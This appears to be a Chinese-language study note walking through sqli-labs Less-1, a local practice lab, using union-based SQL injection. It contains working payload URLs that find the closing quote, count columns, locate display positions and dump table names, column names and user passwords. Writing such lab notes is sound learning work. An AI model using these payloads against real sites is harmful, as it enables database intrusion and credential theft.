环境;phpstudy搭建就可以
把sqli文件放在www下
使用敏感字符,判断闭合字符
有明显的报错信息
And 1=1 %23 // 恒为真是可以的%23是# 是注释后边干扰
这是恒假的 //页面错误
通过这个可以判断单引号就是闭合字符
判断列数为三列使用order by
判断显示位,已经知道有三个字段,现在判断那些是显示,那我们就填充三个数字
union select 1,2,3 %23
发现正常显示那就说明,正确就会选择输出之前规定,,现在需要让它显示错误
?id=1’ and 1=2 select 1,2,3 %23
这里可以直接id的值等于-1就判断恒为假
发现显示位置
查看当前数据库
?id=1'%20and%201=2%20union%20select%201,2,database()%20%23
现在我们要查当前数据库里的表
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
//意思是从默认数据库information_schema中tables表中查看表所属数据库名为security的所有表名
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- +
//查看users 列名
http://127.0.0.1/sqli/Less-1/?id=1' and1=2 union select1,2,group_concat(id,0x23,username,0x23,password) from security.users -- +
//查看其中全部三列数据用#隔开